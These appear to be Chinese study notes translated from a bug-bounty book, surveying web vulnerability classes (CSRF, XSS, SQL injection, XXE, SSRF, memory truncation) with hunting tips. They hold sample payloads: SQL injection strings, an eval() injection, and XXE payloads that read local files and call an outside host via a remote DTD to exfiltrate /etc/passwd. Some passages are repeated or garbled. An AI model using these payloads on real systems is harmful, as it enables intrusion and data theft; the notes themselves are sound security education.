Web攻击

常见Web攻击

HTML注入

HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一
些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。

CRLF注入

CRLF 注入是一类漏洞,在用户设法向应用插入 CRLF 时出现。在多种互联网协议中,包括
HTML,CRLF 字符表示了行的末尾,通常表示为 \r\n ,编码后是 %0D%0A 。在和 HTTP 请
求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括 HTTP 请
求走私和 HTTP 响应分割。
对 HTTP 请求走私而言,它通常在 HTTP 请求传给服务器,服务器处理它并传给另一个服务
器时发生,例如代理或者防火墙。这一类型的漏洞可以导致:

  • 缓存污染,它是一种场景,攻击者可以修改缓冲中的条目,并托管恶意页面(即包含

    JavaScript)而不是合理的页面。

  • 防火墙绕过,它是一种场景,请求被构造,用于避免安全检查,通常涉及 CRLF 和过大

    的请求正文。

  • 请求劫持:它是一种场景,攻击者恶意盗取 HTTPOnly 的 Cookie,以及 HTTP 验证信

    息。这类似于 XSS,但是不需要攻击者和客户端之间的交互。

跨站请求伪造

跨站请求伪造,或 CSRF 攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户
的 Web 浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通
常会在用户不知道操作已经执行的情况下发生。
CSRF 攻击的影响取决于收到操作的站点。这里是一个例子:

  1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。
  2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。
  3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob 银行会话的
    Cookie 信息。
  4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token 的情况下
    处理了转账。

应用逻辑漏洞

应用逻辑漏洞不同于其他我们讨论过的类型。虽然 HTML 注入、HTML 参数污染和 XSS 都涉

及到提交一些类型的潜在恶意输入,应用落地及漏洞实际上涉及到操纵场景和利用 Web APP

代码中的 Bug。

这一类型攻击的一个值得注意的例子是 Egor Homakov 对 Github 的渗透,Github 使用 RoR

编写。如果你不熟悉 Rails,他是一个非常流行的 Web 框架,在开发 Web 站点时,它可以处

理很多繁杂的东西。

Shopify 管理员权限绕过

星巴克竞态条件

Binary.com 权限提升

HackerOne 信号操作

绕过 Gitlab 的双因素认证

重要结论

1
2
3
4
5
6
7
8
9
10
有多个重要结论:
1. 不要低估你的能力,以及开发者犯错的可能性。HackerOne 是个优秀的团队,拥有
优秀的安全研究员。但是人们都会犯错。挑战你的假设吧。
2. 不要在首次尝试之后就放弃。当我发现它的时候,浏览器每个 Bucket 都不可用,并
且我几乎离开了。但是之后我尝试写入文件,它成功了。
3. 所有的东西都在于只是。如果你知道存在了哪种漏洞,你就知道了要寻找以及测试
什么。读这本书就是一个良好的开始。
4. 我之前说过,又再说一遍,一个攻击面要好于站点,它也是公司所使用的的服务。
要跳出思维定式。

总结
应用逻辑漏洞不一定总是涉及代码。反之,利用它们通产更需要敏锐的观察力,以及跳出思
维定式。始终留意其它站点可能使用的工具和服务,因为它们代表了新的攻击向量。这包括
站点所使用的来渲染内容的 JavaScript 库。
发现它们或多或少都需要代理拦截器,在将其发送到你所利用的站点之前,它能让你玩转一
些值。尝试修改任何值,只要它们和识别你的账户相关。这可能包含建立两个不同的账户,
以便你有两套有效的凭据,这可能有帮助。同时寻找隐藏或不常用的终端,它可以用于利用
无意中访问的功能。
任何时候一些类型的事务发生时,你也应该留意。始终有一些机会,其中开发者没有在数据
库级别处理竞态条件(特别是 NoSQL)。也就是说,它们的代码可能会阻止你,但是如果你
让代码执行够快,比如几乎同时完成,你就能发现静态条件。确保你多次测试了这个领域内
的任何东西,因为每次尝试不一定都发生,就像星巴克的案例那样。
最后,要留意新的功能 – 它通常为测试展示了新的区域。并且如果可能的话,自动化你的测
试来更好利用你的时间。

跨站脚本攻击XSS

跨站脚本,或者 XSS,涉及到站定包含非预期的 JavaScript 脚本代码,它随后传给用于,用
户在浏览器中执行了该代码。

  • 反射型 XSS:这些攻击并不是持久的,意思是 XSS 传递后通过简单的请求和响应执行。
  • 存储型 XSS:这些攻击是持久的,或已保存,之后在页面加载时执行给无意识的用户。
  • Self XSS:这些攻击也不是持久的,通常作为戏弄用户的一部分,使它们自己执行XSS。

重要结论

1
2
3
4
5
6
7
8
9
10
11
测试任何东西,特别要关注一些场景,其中你所输入的文本渲染给了你。测试来判断你
是否可以包含 HTML 或者 JavaScript,来观察站点如何处理它。同时尝试编码输入,就
像在 HTML 注入一章中描述的那样。
XSS 漏洞并不需要很复杂。这个漏洞是你能找到的最基本的东西 - 一个简单的输入文本
字段,这个漏洞并不处理用户输入。它在 2015 年 12 月 21 日发现,并获得了 $500 的
奖金。它所需要的所有东西,就是黑客的思维。

总结
XSS 漏洞对站点开发者展现了真实的风险,并且仍然在站点上流行,通常显而易见。通常简
单提交 JavaScript alert 方法的调用, alert('test') ,你可以检查输入字段是否存在漏
洞。此外,你可以将它与 HTML 注入组合,并提交 ASCII 编码的字符来观察文本是否被渲染
和解释。
在搜索 XSS 漏洞时,这里是要记住的一些事情:

  1. 测试任何东西
    无论你在浏览什么站点以及什么时候浏览,总是要保持挖掘!不要觉得站点太大或者太
    复杂,而没有漏洞。机会正在注视着你并请求你的测试,就像 wholesale.shopify.com 那
    样。Google Tagmanager 存储型 XSS 漏洞就是寻找替代方案来向站点添加标签的结果。
  2. 漏洞可能存在于任何表单值
    例如,Shopify 的礼品卡站点上的漏洞,通过利用和上传文件相关的名称字段来时间,并
    不是实际的文件字段本身。
  3. 总是在测试时使用 HTML 代理
    当你尝试提交来自网站自身的恶意值时,当站点的 JavaScript 检查出你的非法值时,你
    可能会碰到假阳性。不要浪费你的时间。通过浏览器提供合法值,之后使用你的代理修
    改这些值来执行 JavaScript 并且提交。
    译者注:对于所有前端(包括移动和桌面)渗透,都应该这样。就算不存在 XSS,
    也有可能挖到绕过和越权漏洞。
  4. XSS 漏洞发生在渲染的时候
    由于 XSS 在浏览器渲染文本时发生,要确保复查了站点的所有地方,其中使用了你的输
    入值。逆天家的 JavaScript 可能不会立即渲染,但是会出现在后续的页面中。这非常麻
    烦,但是你要留意站点何时过滤输入,以及转义输出。如果是前者,寻找办法来绕过输
    入过滤器,因为开发者可能会犯懒,并且不会转义渲染的输入。
  5. 测试非预期的值
    不要总是提供预期类型的值。当 HTML 雅虎邮件的漏洞被发现时,提供了非预期的
    HTML IMG 属性。要跳出思维定式,思考开发者要寻找什么,并且之后尝试提供一些不
    匹配这些预期的东西。这包含寻找新的方式来执行潜在的 JavaScript,例如绕过 Google
    图片的 onmousemove 事件。

SQL注入:

SQLi 允许黑客将 SQL 语句注入到目标中并访问它们的数据库。它的潜力是
无穷的,通常使其成为高回报的漏洞,例如,攻击者能够执行所有或一些 CURD 操作(创
建、读取、更新、删除)来获取数据库信息。攻击者甚至能够完成远程命令执行。
SQLi 攻击通常是未转义输入的结果,输入被传给站点,并用作数据库查询的一部分。它的一
个例子是:

1
2
$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";

这里,来自用户输入的传入值直接被插入到了数据库查询中。如果用户输入了 test’ or
1=1 ,查询就会返回第一条记录,其中 name = test or 1=1 ,所以为第一行。现在在其他情况
下,你可能会得到:

1
$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");

这里,如果你使用了相同的载荷,你的语句最后会变成:

1
$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");

所以这里,查询会表现得有些不同(至少是 MySQL)。我们会获取所有记录,其中名称
是 test ,或者密码是 12345 。很显然我们没有完成搜索数据库第一条记录的目标。因此,我
们需要忽略密码参数,并能够使用注释来实现, test' or 1=1;-- 。这里,我们所做的事情,
就是添加一个分号来合理结束 SQL 语句,并且立即添加两个短横线(和一个空格)来把后面
的所有东西标记为注释。因此不会被求职。它的结果会和我们初始的例子一样。

开放重定向漏洞

根据 OWASP,开放重定向出现在应用接受参数并将用户重定向到该参数值,并且没有对该
值进行任何校验的时候。
这个漏洞用于钓鱼攻击,便于让用户无意中浏览恶意站点,滥用给定站点的信任并将用户引
导到另一个站点,恶意站点作为重定向目的地,可以将其准备成合法站点的样子,并尝试收
集个人或敏感信息。

1
2
3
重要结论
我这里再说一遍,不是所有漏洞都很复杂。这里的开放重定向只需要将重定向参数修改
为外部站点。

缓冲区溢出

缓冲区溢出是一个场景,其中程序向缓冲区或内容区域写入数据,写入的数据比实际分配的
区域要多。使用冰格来考虑的话,你可能拥有 12 个空间,但是只想要创建 10 个。在填充格
子的时候,你添加了过多的水,填充了 11 个位置而不是 10 个。你就溢出了冰格的缓存区。
缓冲区溢出在最好情况下,会导致古怪的程序行为,最坏情况下,会产生严重的安全漏洞。
这里的原因是,使用缓冲区移除,漏洞程序就开始使用非预期数据覆盖安全数据,之后会调
用它们。如果这些发生了,覆盖的代码会是和程序的预期完全不同的东西,这会产生错误。
或者,恶意用户能够使用移除来写入并执行恶意代码。

代码执行

远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它
而没有任何类型的处理或验证而导致。

看一下这行代码:

1
2
3
var = _GET['page'];
eval($var);

这里,漏洞应用可能使用 URL index.php?page=1 ,但是,如果用于输入了 index.php?
page=1;phpinfo() ,应用就会执行 phpinfo 函数,并返回其内容。
与之类似,远程代码执行有时用于指代命令注入,OWASP 区分了这两点。使用命令驻入,
根据 OWASP,漏洞应用在主机操作系统上执行任何命令。同样,这也由不合理处理和验证
用户输入导致,这会导致用户输入传递给操作系统的命令。

XML 外部实体注入

XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理
输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好
首先理解什么是 XML 和外部实体。
元语言是用于描述其它语言的语言,这就是 XML。它在 HTML 之后开发,来弥补 HTML 的不
足。HTML 用于定义数据的展示,专注于它应该是什么样子。房子,XML 用于定义数据如何
被组织。

1
2
3
4
5
6
重要结论
这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接
受 .docx 、 .xlsx 、 .pptx ,以及其它的站点。向我之前提到过的那样,有时候你不会
直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。
此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公
司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)

最开始,它从站点下载了文件来判断 XML 结构,这里是一个 .gpx 文件,并插入
了 *<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>; 。
之后它调用了 .gpx 文件中 13 行的记录名称中的实体。并不是必须的,如果它能够服务 /etc/passwd 文件,并将内容渲染在 元素中。

这产生了发往服务器的 HTTP GET 请求, GET 144.76.194.66 /XXE/ 10/29/15 1:02PM
Java/1.7.0_51 。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David
能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML
文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务 /etc/passwd 文件,并将内容渲染在 元素中。在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的 XML,来让 Wikiloc 向他发送它们的 /etc/passwd 文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&send;</name>
(...)

总结
XXE 表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成,就像我们之前看到的那
样,它能够让漏洞应用打印自己的 /etc/passwd 文件,以 /etc/passwd 文件来调用远程服务
器,以及请求远程 DTD 文件,它让解析器来使用 /etc/passwd 文件调用服务器。
作为一个黑客,要留意文件上传,特别是那些接受一些 XML 类型的上传,应该始终测试它们
是否存在 XXE 漏洞。

模板注入

模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工
具。换句话说,除了拥有接收 HTTP 请求的代码,从数据库查询必需的数据并且之后将其在
单个文件中将其展示给用户之外,模板引擎从计算它的剩余代码中分离了数据的展示(此
外,流行的框架和内容管理系统也会从查询中分离 HTTP 请求)。

Uber Angular 模板注入

Rails 动态渲染器

1
2
3
4
5
总结
搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,
以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环
境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,
或者一些其他地方(例如邮件)渲染给你。

服务端请求伪造

服务端请求伪造,或者 SSRF,是一种类型,它允许攻击者使用目标服务器来代表攻击者自
己执行 HTTP 请求。这和 CSRF 类似,因为两个漏洞都执行了 HTTP 请求,而不被受害者察
觉。在 SSRF 中,受害者是漏洞服务器,在 CSRF 中,它是用户的浏览器。
这里的潜力非常大,包括:

  • 信息暴露,其中我们欺骗服务器来暴露关于自身的信息,在示例 1 中使用 AWS EC2 元

    数据描述。

  • XSS,如果我们让服务器渲染远程 HTML 文件,其中带有 JavaScript。

ESEA SSRF 和 AWS 元数据请求

1
2
3
4
如果你正在寻找 SSRF 漏洞,要留意任何在远程内容中拉取的目标 URL。这里,它
的标志是 url= 。
其次,不要仅限于你的第一想法。Brett 完全能够报告 XSS 载荷,但是这不太深入。通
过深入挖掘,它就能发现漏洞的真正价值。但是这样做的时候,要小心不要越界。

越界读取

除了越过分配的内容写入数据之外,另一个漏洞时越过内容边界读取数据。这是一类缓冲区
溢出,因为内容被越界读取,这是缓存区不允许的。
OpenSSL Heartbleed

内存截断

内存截断是一种技巧,用于通过使代码执行一些不常见或者非预期的行为,来发现漏洞。它
的效果类似于缓冲区溢出,其中内容在不该暴露的时候暴露了。

一个例子是空字节注入。这发生在提供了空字节 %00 或者十六进制的 0x00 ,并导致接收程
序的非预期行为时。在 C/C++,或低级编程语言中,空字节表示字符串的末尾,或者字符串
的终止符。这可以告诉程序来立即停止字符串的处理,空字节之后的字节就被忽略了。
当代码依赖字符串长度时,它的影响力十分巨大。如果读取了空字节,并停止了处理,长度
为 10 的字符串就只剩 5 了。例如:
thisis%00mystring
这个字符串的长度应该为 15,暗示如果字符串以空字节终止,它的长度为 6。这对于管理自
己的内存的低级语言是有问题的。
现在,对于 Web 应用,当 Web 应用和库、外部 API 以及其它用 C 写成的东西交互的时候,
这就有关系了。向 URL 传入 %00 可能使攻击者操作更广泛服务器环境中的 Web 资源。尤其
是当编程语言存在问题的时候,例如 PHP,它是使用 C 语言编写的。

PHP ftp_genlist()

Python Hotshot 模块

1
2
3
4
5
6
7
8
重要结论
我们现在查看了两个函数的例子,它们的不正确实现都收到了缓冲区溢出的影
响, memcpy 和 strcpy 。如果我们知道某个站点或者应用依赖 C 或者 C++,我们就可以
遍历还语言的源代码库(使用类似 grep 的东西),来寻找不正确的实现。
关键是寻找这样的实现,它向二者之一传递固定长度的变量作为第三个函数,对应被分
配的数据长度,在数据复制时,它实际上是变量的长度。
但是,像之前提到的那样,如果你刚刚起步,可能你需要放弃搜索这些类型的漏洞,等
你更熟悉白帽子渗透时再回来。

PHP 内存截断

phar_parse_tarfile 函数并没有考虑以空字符开始的文件名称,空字符是值为 0 的字节,即
十六进制的 0x00 。
在该方法的执行期间,当使用文件名称时,数组会发生下溢(即尝试访问不存在的数据,并
超出了数组分配的内存)。
这是个重要漏洞,因为它向黑客提供了本该限制的内存的访问权。

1
2
3
4
在处理自己管理内存的应用时,特别是 C 和 C++,就像缓冲区溢出那样,内存截断是个古老
但是仍旧常见的漏洞。如果你发现,你正在处理基于 C 语言的 Web 应用(PHP 使用它编
写),要留意内存操作的方式。但是同样,如果你刚刚起步,你可能值得花费更多时间来寻
找简单的注入漏洞,当你更熟练时,再回到内存截断。